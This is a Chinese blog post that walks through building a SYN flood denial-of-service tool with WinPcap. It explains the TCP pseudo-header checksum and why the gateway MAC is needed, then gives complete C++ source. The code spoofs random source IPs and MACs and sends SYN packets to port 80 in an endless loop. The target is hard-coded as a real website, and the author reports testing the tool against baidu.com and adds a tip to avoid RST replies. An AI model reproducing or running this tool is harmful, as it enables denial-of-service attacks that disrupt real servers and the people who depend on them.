基于winpcap和syn的dos攻击,亲测

来源:互联网 发布:mysql触发器 动态表名 编辑:程序博客网 时间:2024/05/20 23:56

网上这样的帖子很多,但有几个问题一直没解决。

1、在计算TCP报头的校验和时应该还有伪报头,很多人都没有。

2、在封装以太网数据包时需要用到目的地址的mac地址,由于很多人是在虚拟机上测,目的mac也就知道,但事实上,对于真正的远端主机来说,我们只能获取它的IP地址,而mac地址是无法获取的。而事实上,这儿的目标mac应该写的是网关mac地址。

下面看我一步一步写syn攻击。

一、首先要清楚TCP/IP报头,清楚三次握手,这个别的地方将的很多。而syn flood攻击就是向服务器发送大量的syn请求包,让服务器保持这些连接而拒绝其他正常连接请求。

[cpp] view plaincopy
  1. /*                       IP报文格式 
  2.     0            8           16                        32 
  3.     +------------+------------+-------------------------+ 
  4.     | ver + hlen |  服务类型   |          总长度          | 
  5.     +------------+------------+----+--------------------+ 
  6.     |           标识位         |flag|   分片偏移(13位)    | 
  7.     +------------+------------+----+--------------------+ 
  8.     |  生存时间   |  高层协议号  |        首部校验和        | 
  9.     +------------+------------+-------------------------+ 
  10.     |                   源 IP 地址                       | 
  11.     +---------------------------------------------------+ 
  12.     |                  目的 IP 地址                      | 
  13.     +---------------------------------------------------+ 
  14.  
  15. */  
  16.   
  17. struct IP_HEADER  
  18. {  
  19.     byte versionAndHeader;  
  20.     byte serviceType;  
  21.     byte totalLen[2];  
  22.     byte seqNumber[2];  
  23.     byte flagAndFragPart[2];  
  24.     byte ttl;  
  25.     byte hiProtovolType;  
  26.     byte headerCheckSum[2];  
  27.     byte srcIpAddr[4];  
  28.     byte dstIpAddr[4];  
  29. };  
  30.   
  31. /* 
  32.                           TCP 报文 
  33.     0                       16                       32  
  34.     +------------------------+-------------------------+ 
  35.     |      源端口地址         |      目的端口地址         | 
  36.     +------------------------+-------------------------+ 
  37.     |                      序列号                       | 
  38.     +--------------------------------------------------+ 
  39.     |                      确认号                       | 
  40.     +------+--------+--------+-------------------------+ 
  41.     |HLEN/4| 保留位  |控制位/6 |          窗口尺寸        | 
  42.     +------+--------+--------+-------------------------+ 
  43.     |         校验和          |        应急指针          | 
  44.     +------------------------+-------------------------+ 
  45. */  
  46.   
  47. struct TCP_HEADER  
  48. {  
  49.     byte srcPort[2];  
  50.     byte dstPort[2];  
  51.     byte seqNumber[4];  
  52.     byte ackNumber[4];  
  53.     byte headLen;  
  54.     byte contrl;  
  55.     byte wndSize[2];  
  56.     byte checkSum[2];  
  57.     byte uragentPtr[2];  
  58. };  
[cpp] view plaincopy
  1. struct PSDTCP_HEADER //这是TCP的伪报头,在计算TCP的校验和时需要包含  
  2. {   
  3.     byte srcIpAddr[4];     //Source IP address; 32 bits  
  4.     byte dstIpAddr[4];     //Destination IP address; 32 bits   
  5.     byte padding;          //padding  
  6.     byte protocol;         //Protocol; 8 bits  
  7.     byte tcpLen[2];        //TCP length; 16 bits  
  8. } ;  
  9.   
  10. struct ETHERNET_HEADER //以太网帧头  
  11. {    
  12.     byte dstMacAddr[6];  
  13.     byte srcMacAddr[6];  
  14.     byte ethernetType[2];  
  15. };  

我还是直接贴代码吧


[cpp] view plaincopy
  1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3. #include <pcap.h>  
  4. #include <winsock2.h>  
  5. #include <conio.h>  
  6. #include <iostream>  
  7. #include <packet32.h>  
  8. #include <ntddndis.h>  
  9. #include <time.h>  
  10. #include <string>  
  11. #include <vector>  
  12.   
  13. using namespace std;  
  14.   
  15. #pragma comment(lib, "../common/lib/Packet.lib")  
  16. #pragma comment(lib, "../common/lib/wpcap.lib")  
  17. #pragma comment(lib, "ws2_32.lib")  
  18.   
  19.   
  20. /*                       IP报文格式 
  21.     0            8           16                        32 
  22.     +------------+------------+-------------------------+ 
  23.     | ver + hlen |  服务类型   |          总长度          | 
  24.     +------------+------------+----+--------------------+ 
  25.     |           标识位         |flag|   分片偏移(13位)    | 
  26.     +------------+------------+----+--------------------+ 
  27.     |  生存时间   |  高层协议号 |         首部校验和        | 
  28.     +------------+------------+-------------------------+ 
  29.     |                    源 IP 地址                      | 
  30.     +---------------------------------------------------+ 
  31.     |                   目的 IP 地址                     | 
  32.     +---------------------------------------------------+ 
  33.  
  34. */  
  35.   
  36. struct IP_HEADER  
  37. {  
  38.     byte versionAndHeader;  
  39.     byte serviceType;  
  40.     byte totalLen[2];  
  41.     byte seqNumber[2];  
  42.     byte flagAndFragPart[2];  
  43.     byte ttl;  
  44.     byte hiProtovolType;  
  45.     byte headerCheckSum[2];  
  46.     byte srcIpAddr[4];  
  47.     byte dstIpAddr[4];  
  48. };  
  49.   
  50. /* 
  51.                           TCP 报文 
  52.     0                       16                       32  
  53.     +------------------------+-------------------------+ 
  54.     |       源端口地址        |      目的端口地址         | 
  55.     +------------------------+-------------------------+ 
  56.     |                      序列号                       | 
  57.     +--------------------------------------------------+ 
  58.     |                      确认号                       | 
  59.     +------+--------+--------+-------------------------+ 
  60.     |HLEN/4|  保留位 |控制位/6|          窗口尺寸         | 
  61.     +------+--------+--------+-------------------------+ 
  62.     |         校验和         |          应急指针         | 
  63.     +------------------------+-------------------------+ 
  64. */  
  65.   
  66. struct TCP_HEADER  
  67. {  
  68.     byte srcPort[2];  
  69.     byte dstPort[2];  
  70.     byte seqNumber[4];  
  71.     byte ackNumber[4];  
  72.     byte headLen;  
  73.     byte contrl;  
  74.     byte wndSize[2];  
  75.     byte checkSum[2];  
  76.     byte uragentPtr[2];  
  77. };  
  78.   
  79. struct PSDTCP_HEADER  
  80. {   
  81.     byte srcIpAddr[4];     //Source IP address; 32 bits  
  82.     byte dstIpAddr[4];     //Destination IP address; 32 bits   
  83.     byte padding;          //padding  
  84.     byte protocol;         //Protocol; 8 bits  
  85.     byte tcpLen[2];        //TCP length; 16 bits  
  86. } ;  
  87.   
  88. struct ETHERNET_HEADER  
  89. {    
  90.     byte dstMacAddr[6];  
  91.     byte srcMacAddr[6];  
  92.     byte ethernetType[2];  
  93. };  
  94.   
  95. struct DEVS_INFO  
  96. {  
  97.     char szDevName[512];  
  98.     char szDevsDescription[512];  
  99. };  
  100.   
  101. int GetAllDevs( DEVS_INFO devsList[] )  
  102. {  
  103.     int nDevsNum = 0;  
  104.     pcap_if_t *alldevs;  
  105.     char errbuf[PCAP_ERRBUF_SIZE];  
  106.     if ( pcap_findalldevs(&alldevs,errbuf) == -1 )  
  107.     {  
  108.         return -1;  
  109.         printf("error in pcap_findalldevs_ex: %s\n",errbuf);  
  110.     }  
  111.     for ( pcap_if_t *d = alldevs; d != NULL; d = d->next )  
  112.     {  
  113.         strcpy( devsList[nDevsNum].szDevName, d->name );  
  114.         strcpy( devsList[nDevsNum].szDevsDescription, d->description );  
  115.         nDevsNum++;  
  116.     }  
  117.     pcap_freealldevs(alldevs);  
  118.       
  119.     return nDevsNum;  
  120. }  
  121.   
  122. int GetAdapterMacAddr( char *lpszAdapterName, unsigned char ucMacAddr[] )  
  123. {  
  124.     LPADAPTER lpAdapter = PacketOpenAdapter( lpszAdapterName );  
  125.     if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))  
  126.     {  
  127.         return -1;  
  128.     }     
  129.   
  130.     PPACKET_OID_DATA oidData = ( PPACKET_OID_DATA )malloc(6 + sizeof(PACKET_OID_DATA));  
  131.     if ( NULL == oidData )   
  132.     {  
  133.         PacketCloseAdapter(lpAdapter);  
  134.         return -1;  
  135.     }  
  136.   
  137.     oidData->Oid = OID_802_3_CURRENT_ADDRESS;  
  138.     oidData->Length = 6;  
  139.     memset(oidData->Data, 0, 6 );  
  140.       
  141.     BOOLEAN  bStatus = PacketRequest(lpAdapter, FALSE, oidData);  
  142.     if ( bStatus )  
  143.     {  
  144.         for ( int i = 0; i < 6; ++i )  
  145.         {  
  146.             ucMacAddr[i] = (oidData->Data)[i];  
  147.         }  
  148.     }  
  149.     else  
  150.     {  
  151.         return -1;  
  152.         free( oidData );  
  153.     }  
  154.     free( oidData );  
  155.     PacketCloseAdapter( lpAdapter );  
  156.     return 0;  
  157. }  
  158.   
  159.   
  160. int GetIpByHost(const char *lpszHost, std::vector<std::string> &ipList )  
  161. {  
  162.     WSADATA wsadata;  
  163.     WSAStartup(MAKEWORD(2, 2),&wsadata);  
  164.     hostent *phost=gethostbyname( lpszHost );  
  165.     in_addr addr;  
  166.     char *p = phost->h_addr_list[0];  
  167.     for(int i = 1; NULL != p; i++)  
  168.     {  
  169.         memcpy(&addr.S_un.S_addr, p, phost->h_length);  
  170.         ipList.push_back( inet_ntoa( addr ));  
  171.         p = phost->h_addr_list[i];  
  172.     }  
  173.     return 0;  
  174. }  
  175.   
  176. int GetGatewayMacAddr( byte macAddr[] )  
  177. {  
  178.     byte mac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48};  
  179.     //00-00-5e-00-01-48  
  180.     memcpy( macAddr, mac, 6 );  
  181.     return 0;  
  182. }  
  183.   
  184.   
  185. unsigned short CheckSum(unsigned short packet[], int size )  
  186. {  
  187.     unsigned long cksum = 0;  
  188.     while (size > 1)   
  189.     {  
  190.         cksum += *packet++;  
  191.         size -= sizeof(USHORT);  
  192.     }  
  193.     if (size)   
  194.     {  
  195.         cksum += *(UCHAR*)packet;  
  196.     }  
  197.     cksum = (cksum >> 16) + (cksum & 0xFFFF);  
  198.     cksum += (cksum >>16);  
  199.   
  200.     return (USHORT)(~cksum);  
  201. }  
  202.   
  203. int EncodeSynPacket( byte packet[], const char *lpszSrcIpAddr, const char *lpszDstIpAddr, byte srcMacAddr[])  
  204. {  
  205.     TCP_HEADER tcpHeader;  
  206.     memset(&tcpHeader, 0, sizeof tcpHeader );  
  207.     *(unsigned short *)tcpHeader.srcPort = htons(9999);  
  208.     *(unsigned short *)tcpHeader.dstPort = htons(80);  
  209.     *(unsigned int *)tcpHeader.seqNumber = htonl(0xFFFF);  
  210.     *(unsigned int *)tcpHeader.ackNumber = htonl(0x00);  
  211.     tcpHeader.headLen = 5 << 4;   
  212.     tcpHeader.contrl = 1 << 1;  
  213.     *(unsigned short *)tcpHeader.wndSize = htons(0xFFFF);  
  214.       
  215.     IP_HEADER ipHeader;  
  216.     memset( &ipHeader, 0, sizeof ipHeader );  
  217.     unsigned char versionAndLen = 0x04;  
  218.     versionAndLen <<= 4;  
  219.     versionAndLen |= sizeof ipHeader / 4; //版本 + 头长度  
  220.   
  221.     ipHeader.versionAndHeader = versionAndLen;  
  222.     *(unsigned short *)ipHeader.totalLen = htons( sizeof(IP_HEADER) + sizeof(TCP_HEADER) );   
  223.   
  224.     ipHeader.ttl = 0xFF;  
  225.     ipHeader.hiProtovolType = 0x06;  
  226.   
  227.     *(unsigned int *)(ipHeader.srcIpAddr) = inet_addr(lpszSrcIpAddr);  
  228.     *(unsigned int *)(ipHeader.dstIpAddr) = inet_addr(lpszDstIpAddr);  
  229.     //*(unsigned short *)(ipHeader.headerCheckSum) = CheckSum( (unsigned short *)&ipHeader, sizeof ipHeader );  
  230.       
  231.     byte gatewayMac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48};  
  232.   
  233.     ETHERNET_HEADER ethHeader;  
  234.     memset(ðHeader, 0, sizeof ethHeader);  
  235.     memcpy(ethHeader.dstMacAddr, gatewayMac, 6);  
  236.     memcpy(ethHeader.srcMacAddr, srcMacAddr, 6);  
  237.     *(unsigned short *)ethHeader.ethernetType = htons(0x0800);  
  238.   
  239.     //memset(packet, 0, sizeof packet);  
  240.     memcpy(packet, ðHeader, sizeof ethHeader);  
  241.     memcpy(packet + sizeof ethHeader, &ipHeader, sizeof ipHeader);  
  242.     memcpy(packet + sizeof ethHeader + sizeof ipHeader, &tcpHeader, sizeof tcpHeader);  
  243.       
  244.     return (sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader);  
  245. }  
  246.   
  247. int main()  
  248. {  
  249.     system("mode con cols=110 lines=20");  
  250.       
  251.     DEVS_INFO devsList[64];  
  252.     int nDevsNum = GetAllDevs( devsList );  
  253.     if ( nDevsNum < 1 )  
  254.     {  
  255.         printf("Get adapter infomation failed!");  
  256.         exit(0);  
  257.     }  
  258.   
  259.     for ( int i = 0; i < nDevsNum; ++i )  
  260.     {  
  261.         printf("%d  %s\t%s\n", i+1, devsList[i].szDevName, devsList[i].szDevsDescription );  
  262.     }  
  263.     printf("Input your select adapter index: ");  
  264.     int selIndex = 0;  
  265.     scanf("%d", &selIndex);  
  266.     if ( selIndex < 0 || selIndex > nDevsNum+1 )  
  267.     {  
  268.         printf("Out of range!\nPress any key to exit...");  
  269.         getch();  
  270.         return 0;  
  271.     }  
  272.   
  273.     char szError[PCAP_ERRBUF_SIZE];  
  274.     pcap_t *handle = pcap_open_live(devsList[selIndex-1].szDevName, 65536, 1, 1000, szError );  
  275.     if ( NULL == handle )  
  276.     {  
  277.         printf("Open adapter failed!\nPress any key to exit...");  
  278.         getch();  
  279.         return 0;  
  280.     }  
  281.   
  282.     byte localMacAddr[6];  
  283.     memset(localMacAddr, 0, sizeof localMacAddr);  
  284.     if ( 0 != GetAdapterMacAddr(devsList[selIndex-1].szDevName, localMacAddr) )  
  285.     {  
  286.         printf("Get localhost mac addr failed!\nPress any key to exit...");  
  287.         getch();  
  288.         return 0;  
  289.     }  
  290.   
  291.     std::vector<std::string> ipList;  
  292.     GetIpByHost("www.szbike.com", ipList);  
  293.   
  294.     byte packet[1024];  
  295.     int size = EncodeSynPacket( packet, "0.0.0.0", ipList[0].c_str(), localMacAddr);  
  296.       
  297.     //return 0;  
  298.     ETHERNET_HEADER *pEtherentHeader = (ETHERNET_HEADER *)packet;  
  299.     IP_HEADER *pIpHeader = ( IP_HEADER *)(packet + sizeof(ETHERNET_HEADER));  
  300.     TCP_HEADER *pTcpHeader = ( TCP_HEADER *)(packet + sizeof(ETHERNET_HEADER) + sizeof(IP_HEADER));  
  301.   
  302.     //*srand(time(0));  
  303.     unsigned short srcPort = 0;//= rand() %0xFFFFFFFF;  
  304.     unsigned int srcIpAddr = 0;  
  305.     unsigned int baseIpAddr = ntohl(inet_addr("10.126.0.0"));  
  306.   
  307.     byte psdPacket[128];  
  308.     memset(psdPacket, 0x00, sizeof psdPacket );  
  309.     PSDTCP_HEADER *psdHeader = (PSDTCP_HEADER *)psdPacket;  
  310.   
  311.     *(unsigned int *)(psdHeader->dstIpAddr) = inet_addr(ipList[0].c_str());  
  312.     *(unsigned short *)(psdHeader->tcpLen)  = htons(sizeof(TCP_HEADER));   
  313.     psdHeader->protocol = 0x06;  
  314.     psdHeader->padding  = 0x00;  
  315.   
  316.     memcpy( psdPacket + sizeof(PSDTCP_HEADER), pTcpHeader, sizeof(TCP_HEADER));  
  317.   
  318.     unsigned int seq = 0;  
  319.     srand( time(0) );  
  320.     while ( 1 )  
  321.     {  
  322.         for ( int i = 0; i < 6; ++i )  
  323.         {  
  324.             pEtherentHeader->srcMacAddr[i] = (byte)(rand() % (0xFF+1) );  
  325.         }  
  326.   
  327.         seq = rand() % 0xFFFFFF;  
  328.         srcPort = rand() % 0xFFFF;  
  329.         srcIpAddr = baseIpAddr + rand() % 0xFFFF;  
  330.   
  331.         *(unsigned int *)(pIpHeader->srcIpAddr) = htonl(srcIpAddr);  
  332.         *(unsigned short *)(pIpHeader->headerCheckSum) = 0x0000;  
  333.         *(unsigned short *)(pIpHeader->headerCheckSum) = CheckSum( ( unsigned short * )pIpHeader, sizeof (IP_HEADER));  
  334.           
  335.         *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr);  
  336.         *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr);  
  337.   
  338.         TCP_HEADER *psdTcpHeader = (TCP_HEADER *)(psdPacket + sizeof(PSDTCP_HEADER) );  
  339.   
  340.         *(unsigned int *)(psdTcpHeader->seqNumber) = htonl(seq);  
  341.         *(unsigned int *)(pTcpHeader->seqNumber) = htonl(seq);//htonl(rand() % 0xFFFFFF );  
  342.   
  343.         *(unsigned short *)(pTcpHeader->srcPort) = htons(srcPort);  
  344.         *(unsigned short *)(psdTcpHeader->srcPort) = htons(srcPort);  
  345.   
  346.         *(unsigned short *)(pTcpHeader->checkSum) = 0x0000;  
  347.         *(unsigned short *)(pTcpHeader->checkSum) = CheckSum( (unsigned short *)psdPacket, sizeof(PSDTCP_HEADER) + sizeof(TCP_HEADER) );  
  348.   
  349.         //system("pause");  
  350.         Sleep(0);  
  351.         pcap_sendpacket(handle, packet, size );  
  352.     }  
  353.   
  354.     if ( NULL == handle )  
  355.     {  
  356.         printf("\nUnable to open the adapter. %s is not supported by WinPcap\n");  
  357.         return 0;  
  358.     }  
  359.     pcap_close(handle);   
  360.     return 0;  
  361. }  


这是对www.baidu.com的测试,可以看到,发出之后百度返回了syn+ack,这时如果我们不再继续,百度的服务器就会等一段时间,这就实现了一次攻击,当然了,真正的攻击需要成千上万个这样的数据包。

在测试的时候有时候收到syn+ack后,系统会自动发一个rest,开启windows防火墙可避免这种情况。

0 0
原创粉丝点击